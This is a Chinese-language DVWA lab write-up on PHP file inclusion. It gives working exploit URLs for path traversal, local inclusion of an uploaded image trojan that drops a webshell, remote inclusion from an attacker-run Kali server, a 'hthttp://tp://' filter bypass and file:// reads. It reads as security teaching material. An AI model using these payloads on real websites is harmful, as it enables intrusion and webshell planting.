1.什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
2.文件包含漏洞的形成原因
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变 量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
3.文件包含漏洞简介
File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次
4.文件包含漏洞类型
本地文件包含漏洞与远程文件包含漏洞
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
5.类似
伪协议、file、phpinput://
参考文章:
https://blog.csdn.net/qq_41210745/article/details/103276849#high%E7%BA%A7%E5%88%AB%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90
靶场IP:127.0.0.1
远程服务器(kali)IP:192.168.126.129
环境配置:在dvwa里第一次测试训练时,会在File Inclusion这里看到“The PHP function allow_url_include is not enabled”这个的报错提醒,这个提示告诉我们PHP函数allow_url_include还未启用.
查看对应PHP版本号
打开对应PHP版本号中的php.ini文件
修改allow_url_include,将原来的off改为on,保存,并重新刷新界面
重新刷新界面
1.代码审计
直接使用get方式传参,可以直接对资源进行访问,没有任何拦截
File Inclusion Source
2.漏洞复现
依次点击这3个文件
可以看到URL中仅仅是page=后的参数发生变化
因此可以将page后的参数视为可控字段,以此进行实验
使用一个不存在的php文件进行测试
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.php
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini
注:因为文件位于fi文件夹下,距离根目录还有2层,所以可以使用…/…/进行跨目录读取
成功回显
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo.php
这表明了文件包含不仅仅能读文件,还能执行文件,尝试从本地包含文件
先通过文件上传漏洞,传给他一个hack.jpg的图片木马,然后在使用文件包含解析他
一句话木马,当我们执行这句木马的时候,他就会创建一个shell.php的文件,里面就是一句话木马。
');?>
复制上传路径,重新回到文件包含
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hack.jpg
程序没有报错,文件解析成功
为了验证结果,可以去靶机下的/vulnerabilities/fi进行查看,会发现增加了
shell.php文件
使用蚁剑进行连接
注:渗透思路
有时候当我们发现了一个本地的文件包含漏洞,但我们也仅仅只能去读取一些本地的文件,没有办法去进行更深层次的利用,然后又在这个网站上发现了一个文件上传漏洞,同时这个文件上传漏洞如果单个来看是比较鸡肋的,比如它做了限制,只能发送图片,而这个图片却没有做严格的限制,我们可以通过一些图片木马来绕过上传,而这两个漏洞结合一下的话,就能达到很大效果了 比如我们上传了一个图片木马,没法单独去使用,但我们可以使用文件包含漏洞,去对这个文件进行包含,也就是说两个文件互相结合进行利用
搭建服务器
命令:
systemctl start apache2 开启服务
systemctl status apache2 检测状态
在kali本地网络文件下(/var/www/html)存放hack.txt文件
内容:
');?>
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.126.129/hack.txt
可以继续使用蚁剑进行连接,与上同,这里不做演示
1.代码审计
利用str_replace函数,将https://和http://替换成空
使得正常远程文件包含漏洞失效
2.漏洞复现
代码中只对远程包含添加了限制,故本地包含没有影响,做法与上同
在kali中新建一个test.txt文件 内容:111
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.126.129/test.txt
网页报错,远程文件包含被php脚本阻止
调整测试语句,因为代码中过滤了http://,将头部改为hthttp://tp:// 绕过防护
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.126.129/test.txt
1.代码审计
指定了白名单,只允许特定的文件执行。还增加了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
2.漏洞复现
白名单中有file*
因此可以使用file协议(文件传输协议),访问本地计算机中的木马/文件
测试语句:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///E:/PHP%20Study%20v8.1/PHPTutorial/WWW/DVWA/php.ini
正常回显,成功读取php.ini文件
至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。
1.代码审计
没得救
只允许四个文件可以访问,彻底杜绝了文件包含漏洞
网络信息安全——ploto